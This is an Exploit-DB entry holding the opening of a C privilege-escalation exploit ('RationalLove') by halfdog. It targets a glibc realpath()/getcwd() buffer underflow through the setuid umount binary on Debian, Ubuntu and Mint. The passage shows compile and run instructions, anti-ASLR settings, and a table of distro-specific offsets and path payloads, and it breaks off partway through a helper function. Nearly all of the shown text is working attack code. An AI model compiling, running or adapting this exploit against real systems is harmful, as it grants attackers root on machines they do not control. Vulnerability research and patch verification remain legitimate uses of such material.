Exploit-DB #43775
Description: glibc < 2.26 - 'getcwd()' Local Privilege Escalation
Type: local
Platform: linux
Date: 2018-01-16
Author: halfdog

Exploit:
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2018 halfdog <me (%) halfdog.net>
 *  See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
 *
 *  This tool exploits a buffer underflow in glibc realpath()
 *  and was tested against latest release from Debian, Ubuntu
 *  Mint. It is intended as demonstration of ASLR-aware exploitation
 *  techniques. It uses relative binary offsets, that may be different
 *  for various Linux distributions and builds. Please send me
 *  a patch when you developed a new set of parameters to add
 *  to the osSpecificExploitDataList structure and want to contribute
 *  them.
 *
 *  Compile: gcc -o RationalLove RationalLove.c
 *  Run: ./RationalLove
 *
 *  You may also use "--Pid" parameter, if you want to test the
 *  program on already existing namespaced or chrooted mounts.
 */

#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define UMOUNT_ENV_VAR_COUNT 256

/** Dump that number of bytes from stack to perform anti-ASLR.
 *  This number should be high enough to reproducible reach the
 *  stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
 *  environment variable references but low enough to avoid hitting
 *  upper stack limit, which would cause a crash.
 */
#define STACK_LONG_DUMP_BYTES 4096

char *messageCataloguePreamble="Language: en\n"
    "MIME-Version: 1.0\n"
    "Content-Type: text/plain; charset=UTF-8\n"
    "Content-Transfer-Encoding: 8bit\n";

/** The pid of a namespace process with the working directory
 *  at a writable /tmp only visible by the process. */
pid_t namespacedProcessPid=-1;

int killNamespacedProcessFlag=1;

/** The pathname to the umount binary to execute. */
char *umountPathname;

/** The pathname to the named pipe, that will synchronize umount
 *  binary with supervisory process before triggering the second
 *  and last exploitation phase.
 */
char *secondPhaseTriggerPipePathname;

/** The pathname to the second phase exploitation catalogue file.
 *  This is needed as the catalogue cannot be sent via the trigger
 *  pipe from above.
 */
char *secondPhaseCataloguePathname;

/** The OS-release detected via /etc/os-release. */
char *osRelease=NULL;

/** This table contains all relevant information to adapt the
 *  attack to supported Linux distros (fully updated) to support
 *  also older versions, hash of umount/libc/libmount should be
 *  used also for lookups.
 *  The 4th string is an array of 4-byte integers with the offset
 *  values for format string generation. Values specify:
 *  * Stack position (in 8 byte words) for **argv
 *  * Stack position of argv[0]
 *  * Offset from __libc_start_main return position from main()
 *    and system() function, first instruction after last sigprocmask()
 *    before execve call.
 */
#define ED_STACK_OFFSET_CTX 0
#define ED_STACK_OFFSET_ARGV 1
#define ED_STACK_OFFSET_ARG0 2
#define ED_LIBC_GETDATE_DELTA 3
#define ED_LIBC_EXECL_DELTA 4
static char* osSpecificExploitDataList[]={
// Debian Stretch
    "\"9 (stretch)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "from_archive",
// Delta for Debian Stretch "2.24-11+deb9u1"
    "\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
// Ubuntu Xenial libc=2.23-0ubuntu9
    "\"16.04.3 LTS (Xenial Xerus)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
    "\"18.3 (Sylvia)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
    NULL};

char **osReleaseExploitData=NULL;

/** Locate the umount binary within the given search path list,
 *  elements separated by colons.
 *  @return a pointer to a malloced memory region containing the
 *  string or NULL if not found.
 */
char* findUmountBinaryPathname(char *searchPath) {
  char *testPathName=(char*)malloc(PATH_MAX);
  assert(testPathName);

  while(*searchPath) {
    char *endPtr=strchr(searchPath, ':');
    int length=endPtr-searchPath;
    if(!endPtr) {
      length=strlen(searchPath);
      endPtr=searchPath+length-1;
    }
    int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
        searchPath, "umount");
    if(result>=PATH_MAX) {
      fprintf(stderr, "Binary search path element too long, ignoring it.\n");
    } else {
      struct stat statBuf;
      result=stat(testPathName, &statBuf);
// Just assume, that umount is owner-executable. There might be
// alternative ACLs, which grant umount execu